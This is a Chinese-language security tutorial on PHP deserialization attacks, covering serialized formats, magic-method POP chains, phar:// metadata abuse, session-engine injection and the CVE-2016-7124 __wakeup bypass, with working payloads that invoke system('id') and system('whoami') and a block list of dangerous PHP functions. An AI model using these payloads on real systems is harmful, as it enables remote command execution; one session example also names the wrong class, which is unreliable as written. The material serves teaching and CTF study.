SecMap - 反序列化(PHP)

本文最后更新于:3 个月前

SecMap - 反序列化,PHP 篇

PHP 反序列化,需要一些 PHP 面向对象编程的基础,如果你还没掌握,建议阅读:

https://www.runoob.com/php/php-oop.html

来光速入个门

介绍

起源

为什么有序列化与反序列化的存在呢?首先思考一个问题,假如我想把一个变量的值保存在硬盘上而不是内存里,应该怎么做呢?可以选择保存在文本文件里,也可以选择保存在数据库里。那么进一步,如果是一个对象呢?

1
2
3
4
5
6
7
<?php

class A {
public $a;
}

$T = new A;

这是 PHP 的一个类,而 T 是 A 的一个实例。如果我们想把 T 存在硬盘上,应该怎么存呢?你可能会想,我可以记录一下类的名字 A,然后在记录一下它有一个 public 属性是 $a,然后利用 json 存:
1
{"name": "A", "attr": "a"}

如果需要还原,则反过来对应的处理。看起来这个方法还可以,但是如果这个类更加复杂呢?比如我们变量值:

1
2
3
4
5
6
7
8
<?php

class A {
public $a;
}

$T = new A;
$T->a = 1;

该怎么办呢?

这就是序列化与反序列化解决的问题,序列化 负责按照规定的格式,将一个对象的重要信息转换为可以存储或可以网络传输的形式;反序列化 从存储中读取或从网络接收一个已经被序列化的对象,按照规定的格式,重新创建该对象。

在 PHP 中,序列化函数是 serialize(),反序列化函数是 unserialize(),比如上面那个例子,输出是 O:1:"A":1:{s:1:"a";i:1;}

要注意的是:

  1. serialize/unserialize 不仅仅只能对对象进行序列化/反序列化,但本文以对象的序列化/反序列化为主,其他类型的就不多提了
  2. serialize 只会序列化类的属性

格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
O:  # 代表这是对一个对象进行序列化的结果
1: # 对象名称占几个字符
"A": # 类名称

1: # 对象有几个属性
{
# 属性名称区域
s: # 这是一个字符串
1: # 字符串长度
"a": # 字符串值
;
# 属性值区域
i: # 这是一个整数
1: # 整数值
;
}

更多类型的字母表示,可以参考这个:

https://www.php.net/manual/zh/function.serialize.php#66147

我们知道,PHP 可以对属性或方法的访问控制:

  1. public:公有,类成员可以在任何地方被访问。
  2. protected:受保护,类成员则可以被类自己、子类和父类访问。
  3. private:私有,类成员则只能被类自己在内部访问。

那么显然,这肯定也会影响序列化的结果,比如:

1
2
3
4
5
6
7
8
9
10
<?php

class A {
public $a;
protected $b;
private $c;
}

$T = new A;
$T->a = 1;

对 T 进行序列化,得到:O:1:"A":3:{s:1:"a";N;s:4:"*b";N;s:4:"Ac";N;}
1
2
3
4
5
6
7
8
9
O:1:"A":3:  # 这些与上面一样,不赘述了

{
s:1:"a";i:1; # 与上面一样

s:4:"*b";N;

s:4:"Ac";N;
}

首先来看 s:4:"*b";N;,长度为明明为 2,为什么是 4 呢?原因是前后都有空字符:

所以,对于 protected 的类成员,名称的格式为 %00*%00+属性名

再看上图,s:4:"Ac";N; 道理也是一样的,所以对于 private 的类成员,名称的格式为 %00 + 类名 + %00 +属性名

序列化的格式对我们非常重要,因为后面构造或者修改攻击向量的时候都要按照这个格式来。为了方便起见,本文演示的均为 public 类成员,其他类型其实是同理的。

反序列化攻击

初级

先举个最简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class A {
public $a;

function check() {
if ($this->a) {
echo 'you are root';
} else {
echo 'permission denied';
}
}
}

$GET = 'O:1:"A":1:{s:1:"a";i:0;}';
$user = unserialize($GET);
$user->check();

如果 $GET 可控的话(比如 http 的 get 参数),那么很容易就能篡改 a 的值:

1
$GET = 'O:1:"A":1:{s:1:"a";i:1;}';

来通过 check() 的检查。

通过这个例子,再次强调一下,PHP 序列化攻击的核心方法就是控制类的属性

这里顺便提一下,让我们自己去按照反序列化格式写 payload,太麻烦了,所以一般是先写好攻击代码,然后序列化输出,就是 payload 了。

进阶

由于序列化不会对类方法进行操作,所以我们就算能篡改属性,也需要有拥有这个属性的某个方法被调用,才能完成攻击,所以攻击场景比较少。好在我们还可以利用 PHP 的魔术方法,帮助拓展一下攻击场景。

魔术方法

首先列一下常见的魔术方法(Magic methods):

  1. __construct: 当对象创建时会自动调用,(注意,在 unserialize 时不会自动调用)
  2. __destruct: 当对象被销毁时自动调用
  3. __sleep: serialize 时自动调用
  4. __wakeup: unserialize 时自动调用
  5. __get: 当从不可访问的属性读取数据时自动调用
  6. __set(): 用于将数据写入不可访问的属性
  7. __call: 在对象上下文中调用不可访问的方法时自动调用
  8. __callStatic: 在静态上下文中调用不可访问的方法时自动调用
  9. __isset: 在不可访问的属性上调用 isset() 或 empty() 时自动调用
  10. __unset: 在不可访问的属性上使用 unset() 时自动调用
  11. __invoke: 当尝试将对象调用为函数时自动调用
  12. __toString: 用于一个对象被当成字符串使用(如 echo、拼接等)时自动调用

那么这有啥用呢?

  1. 魔术方法在指定的条件下一定会被调用,而自定义的方法不一定会被调用,可能写了但是没有使用,也可能是运行逻辑没到调用的地方。这提升了反序列化触发的可能性。
  2. 由于魔术方法是非常常用的,比如 __destruct,里面可以写一段用于关闭数据库连接的代码,这样只要实例被销毁,就会自动关闭数据库连接。所以如果条件合适,魔术方法里的属性本身就可以被利用。这提升了反序列化出现的可能性。

我打算用一个例子说明上面的用途,实例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

class A {
public $test;

function __destruct() {
$this->test->action();
}

function check() {
$this->test->check();
}

}

class B {
function action() {
echo "I'm class B\r\n";
}

function check() {
echo "I'm class B in check\r\n";
}

}

class C {
function action() {
echo "I'm class C\r\n";
}

function check() {
echo "I'm class C in check\r\n";
}
}

$GET = '';
$user = unserialize($GET);

在这里例子中,由于 $user 并没有调用 check,所以无法通过 check 函数来实施反序列化攻击(用途 1),但是由于有 __destruct 的存在,所以我们可以利用它来完成反序列化攻击(用途 1、2):

1
2
3
4
...  // 省略

$GET = 'O:1:"A":1:{s:4:"test";O:1:"C":0:{}}';
$user = unserialize($GET);

这样我们就可以控制执行的流程,要执行 class B、C 里的 check 都可以。

第一个 🌰

如果你还无法理解,那么再来看一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

function gettime($func, $p) {
$result = call_user_func($func, $p);
$a = gettype($result);
if ($a == "string") {
return $result;
} else {
return "";
}
}

// 业务留下的测试代码
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}

$func = ''; // 攻击者可控
$p = ''; // 攻击者可控


// 过滤危险的函数
$disable_fun = array(
"exec", "shell_exec", "system", "passthru", "proc_open",
"show_source", "phpinfo", "popen", "dl", "eval",
"proc_terminate", "touch", "escapeshellcmd", "escapeshellarg",
"assert", "substr_replace", "call_user_func_array",
"call_user_func", "array_filter", "array_walk", "array_map",
"registregister_shutdown_function", "register_tick_function",
"filter_var", "filter_var_array", "uasort", "uksort",
"array_reduce", "array_walk", "array_walk_recursive",
"pcntl_exec", "fopen", "fwrite", "file_put_contents"
);

if ($func != null) {
$func = strtolower($func);
if (!in_array($func, $disable_fun)) {
echo gettime($func, $p);
} else {
die("Hacker...");
}
}

对于这个例子来说,由于危险的函数都被过滤了,所以我们没法直接利用 gettime 中的 call_user_func 完成攻击。

那么换个思路,由于 unserialize 没有被过滤,那么反序列化攻击是否可行呢?虽然 Test 中没有任何自定义的方法可以让我们利用,但是有 __destruct,它会在实例销毁的时候自动运行,最后它还会调用 gettime,调用 gettime 就意味着调用了 call_user_func,并且反序列化时我们可以控制 $this->func$this->p,所以相当于 call_user_func 的参数是可控的,那么答案就呼之欲出了:

1
2
3
4
5
6
7
8
<?php

class Test {
var $p = "id";
var $func = "system";
}

echo(serialize(new Test));

所以这样就可以执行命令了:

1
2
$func = 'unserialize';
$p = 'O:4:"Test":2:{s:1:"p";s:2:"id";s:4:"func";s:6:"system";}';

总结一下,魔术方法提升了反序列化触发的可能性与出现的可能性。

高级

接下来玩点更有意思的

POP

POP 面向属性编程(Property-Oriented Programing),缩写看起来很牛逼,其实就是先找到最后需要触发的语句,然后往上层根据调用链一步一步溯源到最开始触发的语句,分析好调用链后,再一步步从触发语句构造序列化结果。

先举个比较简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class A {
public $func;
public $password;

function __destruct() {
$this->func->check($this->password);
}

}

class B {
function check() {
echo "Permission denied\r\n";
}
}

class C {
public $md5 = "8f95eca949e2ec377434ea3fea1cc381";

function check($password) {
if (md5($password) == $this->md5) {
echo "You are root\r\n";
} else {
echo "Permission denied\r\n";
}
}
}

$GET = '';
$user = unserialize($GET);

首先分析一下思路:

  1. 首先我们需要让 class A 中的 __destruct 执行 class C 的 check,这一步很简单,和上面的例子是一样的。
  2. 但是这还不够,我们如果想输出 You are root,还需要通过 class C 中 check 的 if,而由于 hash 的不可逆性,我们不知道 8f95eca949e2ec377434ea3fea1cc381 对应的原字符串是什么,但是如果我们同时篡改 $md5$password,就可以通过 if 的检查了:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?php

    class A {
    public $func;
    public $password = 'admin';

    function __construct() {
    $this->func = new C;
    }

    }

    class C {
    public $md5 = "21232f297a57a5a743894a0e4a801fc3";
    }

    echo(serialize(new A));
    // 结果为:
    // O:1:"A":2:{s:4:"func";O:1:"C":1:{s:3:"md5";s:32:"21232f297a57a5a743894a0e4a801fc3";}s:8:"password";s:5:"admin";}


上面例子仅仅只有两层,下面再举个更加复杂一些的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

class start_gg {
public $mod1;
public $mod2;
public function __destruct() {
$this->mod1->test1();
}
}

class Call {
public $mod1;
public $mod2;
public function test1() {
$this->mod1->test2();
}
}

class funct {
public $mod1;
public $mod2;
public function __call($test2, $arr) {
$s1 = $this->mod1;
$s1();
}
}

class func {
public $mod1;
public $mod2;
public function __invoke() {
$this->mod2 = "字符串拼接" . $this->mod1;
}
}

class string1 {
public $str1;
public $str2;
public function __toString() {
$this->str1->get_flag();
return "1";
}
}

class GetFlag {
public function get_flag() {
echo "flag: " . "xxxxxxxxxxxx";
}
}

$a = '';
unserialize($a);

首先一样,从要触发的语句出发,一步步分析:

  1. 要触发的语句在 class GetFlag 的 get_flag 里
  2. 调用 get_flag 的语句在 class string1 的 __toString 里,而我们知道,__toString 是 string1 的实例,被当做字符串处理的时候会触发
  3. class func 中的 __invoke,会将 $this->mod1 当做字符串来拼接,所以我们需要让 $this->mod1 == string1 的实例,来触发 class string1 的 __toString。而 __invoke 是将对象当做函数来调用的时候会触发
  4. class funct 中的 __call,里面有个 $s1(),那么只要让 $s1 == func 的实例,即可触发 class func 的 __invoke。而 __call 是调用一个不存在的方法是会触发
  5. class start_gg 中有个 __destruct 调用了 $this->mod1 的 test1 方法;class Call 中有个 test1 调用了 $this->mod1 的 test2 方法。那么很明显,class start_gg 的 __destruct 可以用于触发 class funct 中的 __call;如果要用 class Call 的 test1 也不是不可以,但是也需要经过 class start_gg 的辅助,所以直接使用 class start_gg 比较简洁。

分析完毕,从后往前构造调用链即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

class start_gg {
public function __construct() {
$this->mod1 = new funct;
}
}

class funct {
public function __construct() {
$this->mod1 = new func;
}
}

class func {
public function __construct() {
$this->mod1 = new string1;
}
}

class string1 {
public function __construct() {
$this->str1 = new GetFlag;
}
}

class GetFlag {
}

$a=new start_gg;
echo(serialize($a));
// 结果为:
// O:8:"start_gg":1:{s:4:"mod1";O:5:"funct":1:{s:4:"mod1";O:4:"func":1:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}}}}

综上,POP 算是寻找反序列化漏洞的标准思路。

利用 phar:// 伪协议

在《非常见协议大礼包》中搁置的一个知识点:

https://www.tr0y.wang/2021/05/17/SecMap-非常见协议大礼包/#phar

在这里补全。

phar 文件介绍

首先看一下 phar 文件的格式:

  1. stub: stub 就是一个简单的 php 的文件内容,它必须包含 __HALT_COMPILER(),这是 phar 的文件标识,让 phar 扩展识别这是一个标准的 phar 文件用的。所以最小的 stub 就是 <?php __HALT_COMPILER();
  2. manifest: 它存着文件名、压缩后的大小、属性等等信息,最重要的是,它以序列化的形式包含了用户自定义的 meta-data
  3. contents: 这个就是压缩的文件内容啦
  4. signature: 签名,放在文件末尾

举个创建 phar 的示例:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class A {
public $msg = 'This is Tr0y';
}

$phar = new Phar("test.phar"); // 注释 1
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();"); // 注释 2
$phar->setMetadata(new A); // 注释 3
$phar->addFromString("test.txt", "<?php echo '1'; ?>"); // 注释 4
$phar->stopBuffering();

代码很短,需要注意的地方却很多:

  1. 注释 1,这里是生成的 phar 的文件名,注意,在生成代码中,必须是 .phar 后缀,否则会报错:...Cannot create phar 'phar.gif', file extension (or combination) not recognised...。但是生成之后,就可以随意更改文件名了。
  2. 注释 2,如果不用 setStub 指定 stub 的话也是可以的,PHP 会用的默认的 stub,它包含了大约 7k 的代码用于提取 Phar 内容并执行里面的代码,为什么默认 stub 会这么长呢?它的作用是在 phar 扩展不存在的时候,把 phar 里的文件解压到一个临时目录,然后运行。由于不依赖 phar 扩展,所以要完成同样的功能,代码就要长一些。由于 stub 位于文件最开始的地方,所以我们可以通过加入文件幻数来伪造文件类型,比如 $phar->setStub("GIF89a<?php __HALT_COMPILER();"); 伪造成 gif 文件
  3. 注释 3,setMetadata 就是以序列化的形式保存用户自定义的 meta-data
  4. 注释 4,参数一是压缩进 phar 的文件名;参数二是文件内容

这里看一下生成之后的 test.phar(注意,生成的时候需要加上 phar.readonly=0 配置):

可以看到,class A 已经被序列化存储。

有了 test.phar 之后,我们就可以 include 了:

1
2
3
include('phar://test.phar/test.txt');
// 结果为
// Tr0y

利用

前提:

  1. php.ini 中设置为 phar.readonly=Off
  2. php version >= 5.3.0
  3. 可以上传 phar 文件

其实这个技巧一句话就能说明白:phar 文件中的 meta-data 信息以序列化方式存储,当函数通过 phar:// 伪协议解析 phar 文件时,就会自动将数据反序列化。

假如有以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class A {
public $msg = "Permission denied\r\n";

public function __destruct() {
echo $this->msg;
}
}

$filename = 'phar://test.phar/test.txt';
file_get_contents($filename);

以上面那个 test.phar 为例,由于 phar:// 伪协议会自动反序列化 meta-data,而我们已经篡改了 $msg,攻击的目的就达成了。

当然,受影响的函数可不仅仅只有 file_get_contents,强烈建议看一下资料 1、2,里面提到了一些技巧非常有意思:

  1. compress.bzip2://phar://test.phar/test.txt 或者 compress.zlib://phar://test.phar/test.txt,可以!(虽然会有 warning)
  2. Postgres 的 @$pdo->pgsqlCopyFromFile,可以!
  3. MySQL 的 mysqli_query($m, "LOAD DATA LOCAL INFILE ..."),可以!

其他更多的姿势或者函数,我觉得 CTF 还是用的多一些,平时我们也用不到。

session 反序列化

PHP 的 session 介绍

先说一下 PHP 处理 session 的一些细节信息。

PHP 在存储 session 的时候会进行序列化,读取的时候会进行反序列化。它内置了多种用来序列化/反序列化的引擎,用于存取 $_SESSION 数据:

  1. php: 键名 + | + 经过 serialize()/unserialize() 处理的值。这是现在默认的引擎。
  2. php_binary: 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize()/unserialize() 处理的值
  3. php_serialize: 直接使用 serialize()/unserialize() 函数。这是好像是以前默认的引擎(5.x)。

session 相关的信息,可以在 phpinfo 里查到:

  1. session.auto_start: 是否自动启动一个 session
  2. session.save_path: 设置 session 的存储路径
  3. session.save_handler: 设置保存 session 的函数
  4. session.serialize_handler: 设置用来序列化/反序列化的引擎

所以,在我这个 PHP 的配置中,不会自动记录 session,所以运行的时候需要改为一下 autostart;session 内容是以文件方式来存储的(文件以 `sess+ sessionid 命名);由于存储的路径为空,所以运行的时候需要指定一下;序列化/反序列引擎为php`。

例如我们测试一下下面这个代码:

1
2
3
session_start();
$_SESSION['name0'] = 'Tr0y';
$_SESSION['name1'] = 'Tr1y';

用三种不同的引擎来处理 session:

是不是很简单?可以看到,session 文件里保存着的是反序列化之后的数据。

利用

那么这个有什么用呢?其实一句话就能说清楚:

不同的序列化/反序列化引擎对数据处理方式不同,造成了安全问题。

引擎为 php_binary 的时候,暂未发现有效的利用方式,所以目前主要还是 php 与 php_serialize 两者混用的时候导致的问题。

漏洞利用的原理,我觉得直接看例子比较直观。

注:这里我没搭 web 环境,因为 cli 完全可以用于测试

首先搞个读取 session 的文件:

1
2
3
var_dump(
$_SESSION
);

然后再来个生成 session 的代码:

1
2
$_SESSION['name0'] = 'Tr0y';
$_SESSION['name1'] = '|"Tr1y';

这个 session 用 php_serialize 序列化的结果是:

1
a:2:{s:5:"name0";s:4:"Tr0y";s:5:"name1";s:11:""|s:4:"Tr1y";}

如果我们用 php 引擎来解析这个结果,会得到什么呢?

为什么会这样呢?回顾上面,php 引擎的格式为:键名 + | + 经过 serialize()/unserialize() 处理的值。那么对于这个例子来说,name 就是 a:2:{s:5:"name0";s:4:"Tr0y";s:5:"name1";s:11:"s:4:"Tr1y"; 就是待反序列化的值。那么这里就非常清楚了,本质上就是通过 | 来完成注入(" 负责闭合格式,防止解析错误),让 php 引擎误以为前面全是 name,这样参与反序列化的数据就可以由我们来控制了。

举个例子吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

ini_set('session.serialize_handler', 'php');

session_start();

class Anti {
public $info;

function __construct() {
$this->info = 'phpinfo();';
}

function __destruct() {
eval($this->info);
}
}

假设存 session 的时候,用的是 php_serialize,然后上面这个是会用到 session 的代码。

那么我们可以尝试在 session 注入如下内容:

1
name|O:1:"A":1:{s:4:"info";s:17:"system("whoami");";}

即可达到利用的目的:

这个技巧我觉得还是 CTF 多一些,研发也不太会去修改读存 session 的引擎,混用就更少见了。

CVE-2016-7124

这是一个 PHP 的 CVE,影响版本:

  1. PHP5 < 5.6.25
  2. PHP7 < 7.0.10

一句话就可以说清楚利用方式:当序列化字符串中表示对象中属性个数的数字,大于真正的属性个数时,就会跳过 __wakeup 函数的执行(会触发两个长度相关的 Notice: Unexpected end of serialized data)。

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class A {
public $test;

function __wakeup() {
$this->test = new B;
}

function __destruct() {
$this->test->check();
}
}

class B {
function check() {
echo "Permission denied\r\n";
}
}

class C {
function check() {
echo "you are root\r\n";
}
}


$GET = 'O:1:"A":1:{s:4:"test";O:1:"C":0:{}}';
$user = unserialize($GET);

在这个例子中,由于 class A 存在 __wakeup,里面初始化了 test 为 class B,所以按照常规来说,__destruct 里的 $this->test 就一定是 class B。而如果利用 CVE-2016-7124,将 $GET 中 class A 的属性个数改为 2,就可以绕过 __wakeup 的运行,从而在执行 __destruct 的 test 就是 class C 了:

1
2
3
O:1:"A":1:{s:4:"test";O:1:"C":0:{}}
// 改为
O:1:"A":2:{s:4:"test";O:1:"C":0:{}}

注:如果你不想搭建 PHP 低版本环境来测试的话,对于这么简单的例子,完全可以找个在线运行 PHP 的测试,比如:

https://www.dooccn.com/php/

同时也根本没有必要搭建 web 环境,麻烦

资料


反序列化篇还有后续
Java 和 Python 的
但我最近忙着做各种 “选择题”
精力不太能跟得上
慢慢写